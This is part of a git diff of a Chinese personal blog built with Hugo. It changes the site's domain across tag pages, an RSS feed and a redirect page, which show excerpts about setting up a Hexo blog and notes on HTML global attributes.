-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>hexo | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/hexo/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/hexo/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="hexo"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/hexo/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="hexo"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>hexo</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单搭建一个hexo博客</h2></header><div class=entry-content><p>hexo+github可以实现免费搭建一个博客网站，就是维护起来有点麻烦
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>hexo | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/hexo/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/hexo/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="hexo"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/hexo/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="hexo"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>hexo</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单搭建一个hexo博客</h2></header><div class=entry-content><p>hexo+github可以实现免费搭建一个博客网站，就是维护起来有点麻烦
 apt install npm
 npm install hexo-cli -g
 hexo init blog
@@ -29,7 +29,7 @@
 打开主题配置文件
 修改sidebar.position的值
 left - 靠左放置 right - 靠右放置
-设置 头像...</p></div><footer class=entry-footer><span title='2021-06-16 14:36:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单搭建一个hexo博客" href=https://xiaochenabc123.github.io/posts/26/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+设置 头像...</p></div><footer class=entry-footer><span title='2021-06-16 14:36:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单搭建一个hexo博客" href=https://chenjunlinabc.github.io/posts/26/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/hexo/index.xml b/tags/hexo/index.xml
index f8350696..2ddb228c 100644
--- a/tags/hexo/index.xml
+++ b/tags/hexo/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>hexo on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/hexo/</link>
+    <link>https://chenjunlinabc.github.io/tags/hexo/</link>
     <description>Recent content in hexo on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Wed, 16 Jun 2021 14:36:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/hexo/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Wed, 16 Jun 2021 14:36:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/hexo/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>简单搭建一个hexo博客</title>
-      <link>https://xiaochenabc123.github.io/posts/26/</link>
+      <link>https://chenjunlinabc.github.io/posts/26/</link>
       <pubDate>Wed, 16 Jun 2021 14:36:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/26/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/26/</guid>
       <description>hexo+github可以实现免费搭建一个博客网站，就是维护起来有点麻烦
 apt install npm
 npm install hexo-cli -g
diff --git a/tags/hexo/page/1/index.html b/tags/hexo/page/1/index.html
index 47722087..4bc1c4a6 100644
--- a/tags/hexo/page/1/index.html
+++ b/tags/hexo/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/hexo/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/hexo/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/hexo/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/hexo/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/hexo/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/hexo/"></head></html>
\ No newline at end of file
diff --git a/tags/html/index.html b/tags/html/index.html
index 0491944c..3c47cb82 100644
--- a/tags/html/index.html
+++ b/tags/html/index.html
@@ -1,46 +1,35 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>html | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/html/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/html/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="html"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/html/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="html"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>html</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>HTML全局属性笔记</h2></header><div class=entry-content><p>属性
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>html | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/html/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/html/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="html"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/html/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="html"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>html</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>HTML全局属性笔记</h2></header><div class=entry-content><p>属性
 accesskey
 定义快捷键获取焦点，例如
-&lt;a href="https://xiaochenabc123.test.com" accesskey="q">GO\&lt;/a>
-按ait+q，就会跳到指定的网页上
+&lt;a href="https://xiaochenabc123.test.com" accesskey="q">GO\&lt;/a> 按ait+q，就会跳到指定的网页上
 class
 定义元素的类，开头必须是字母，多个类使用空格隔开，例如
-&lt;div class = "a1 a2 a3">&lt;/div>
-id
+&lt;div class = "a1 a2 a3">&lt;/div> id
 定义一个id，id为唯一性，不能重复，例如
-&lt;div id = "a1">&lt;/div>
-lang
+&lt;div id = "a1">&lt;/div> lang
 定义网页或者元素的语言，例如
-&lt;div lang = "fr">&lt;/div>
-style
+&lt;div lang = "fr">&lt;/div> style
 定义元素的行内样式，例如
-&lt;div style="color : #fff">hi&lt;/div>
-tabindex
+&lt;div style="color : #fff">hi&lt;/div> tabindex
 指定tab键的焦点控制，例如
-&lt;a href="https://xiaochenabc123.test.com" tabindex="1">GO&lt;/a>
-使用键盘的tab键盘，触发（不会跳转到网页，只是焦点）
+&lt;a href="https://xiaochenabc123.test.com" tabindex="1">GO&lt;/a> 使用键盘的tab键盘，触发（不会跳转到网页，只是焦点）
 contenteditable
 指定元素是否为可以编辑的，例如
-&lt;div contenteditable="true">hi&lt;/div>
-dir
+&lt;div contenteditable="true">hi&lt;/div> dir
 指定元素内文本的方向，例如
-&lt;div dir = "rtl">hi&lt;/div>
-ltr默认值，从左到右
+&lt;div dir = "rtl">hi&lt;/div> ltr默认值，从左到右
 rtl，从右到左
 title
 指定元素的信息，一般为鼠标移动到元素是停留一段时间，显示信息，例如
-&lt;div title = "hi">hi&lt;/div>
-data-xxx
+&lt;div title = "hi">hi&lt;/div> data-xxx
 用于存储一些自定义属性，data-后面必须有一个字符，不包括大写
 JavaScript可以通过getAttribute获取到
 draggable
 指定元素是否可以拖动，默认情况下，只有图片和链接可以拖动
 有3个可选值，true/false/auto，在JavaScript中可以配合拖动事件，例如
-&lt;div draggable = "true">hi&lt;/div>
-hidden
+&lt;div draggable = "true">hi&lt;/div> hidden
 指定元素是否隐藏，有两个可选值，hidden/true，例如
-&lt;div hidden = "hidden">hi&lt;/div>
-contextmenu...</p></div><footer class=entry-footer><span title='2021-06-16 09:38:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to HTML全局属性笔记" href=https://xiaochenabc123.github.io/posts/22/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>html5学习笔记</h2></header><div class=entry-content><p>HTML5是HTML标准的第5代标准，主要目的是语义化并且提供多媒体的嵌入
